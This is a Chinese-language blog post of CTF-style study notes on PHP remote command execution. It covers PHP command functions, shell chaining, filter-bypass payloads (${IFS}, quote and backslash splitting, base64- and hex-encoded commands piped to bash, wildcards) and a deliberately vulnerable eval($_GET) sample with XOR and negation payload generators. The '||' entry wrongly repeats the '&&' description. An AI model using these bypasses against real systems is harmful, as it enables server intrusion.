命令执行

RCE

远程代码执行漏洞

原理

编写代码时没有做严格的安全控制,导致攻击者通过接口或相关参数提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器

可使用条件

1.需要有执行系统命令的函数

2.具有可控或者不安全参数

PHP调用函数

system()

作用:执行外部程序,并且显示输出

system函数

<?php 
$shell = "ping 127.0.0.1";
system("$shell");
?>

exec()

作用:执行一个外部程序,返回命令执行结果的最后一行内容

exec函数

<?php 
$shell = "ping 127.0.0.1";
echo exec("$shell");
?>

shell_exec()

作用: shell 执行命令并将完整的输出以字符串的方式返回

shell_exec函数

<?php 
$shell = "ping 127.0.0.1";
echo shell_exec("$shell");
?>

作用范围

在docker中一般权限为www-data,该权限一般可读不可写

其他权限看个人输出:wh oami

联合执行(Linux)

分号

先后执行三个命令,无论命令是否执行成功

command1;command2;command3

&&

前面的命令执行成功,后面的命令才会执行

command1 && command2

||

前面的命令执行 成功,后面的命令才会执行

command1 && command2

|

前一个执行成功后的结果作为后一个执行的参数

command1 | command2

绕过执行

过滤空格情况下

下面命令适合在 SHELL为bash 的情况下代替空格使用,查看当前使用SHELL:echo $0

$IFS

${IFS}

$IFS$9

<

<>

{cat,flag} //用逗号实现空格功能

过滤关键字

下面可以灵活转换(适用zsh、bash)

反斜线绕过

ca\t flag.php //用转义符绕过cat完整串的匹配

两个单引号绕过

ca''t flag.php //用''绕过cat完整串的匹配

base64编码绕过

echo "Y2F0ICdmbGFnLnBocCc=" | base64 -d | bash //将cat flag.php的base64编码进行解码,并该内容作为bash的命令执行

hex编码绕过

echo "63617420666c61672e706870" | xxd -r -p | bash //同理上,xxd -r -p命令是将hex解码

通配符匹配绕过

cat执行后将会打印出所有符合的文件信息

[]

cat fla[a-z].php //匹配[]内的所有字符

cat fl* //匹配多个字符

?

cat fl?g.php //匹配一个字符

内敛执行

可适用bash、zsh

``

cat `ls | grep fl` //先执行ls | grep fl 找到flag.php,然后执行cat flag.php

$()

cat $(ls| grep fl) //同理上

变量存储

可适用bash、zsh

a=.php;b=flag;cat $b$a; //cat flag.php

无参RCE

参考文献

无字母数字RCE

原型:

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
  eval($_GET['shell']);
}

下面命令在PHP环境中:

异或

异或生成:
<?php
$a= "dir";		//dir可变
for($i = 0;$i < strlen($a);$i++)
{
    echo "%".dechex(ord($a[$i]) ^ 0xff);
}
echo "^";
for($i = 0;$i < strlen($a);$i++)
{
    echo "%ff";
}

取反

取反生成:
<?php
$a = "phpinfo";		//phpinfo可变
echo "~(";
for ($i = 0; $i < strlen($a); $i++) {
    echo "%" . bin2hex(~$a[$i]);
}
echo ")";		//取反的括号可以不加

image-20230709152644182

执行时将生成的结果括号起来

短标签

<? ?>是对<?php> 的替换

<?= ?>是对<? echo >的替换

posted @ 2023-07-09 11:24  ntrack  阅读(73)  评论(0)    收藏  举报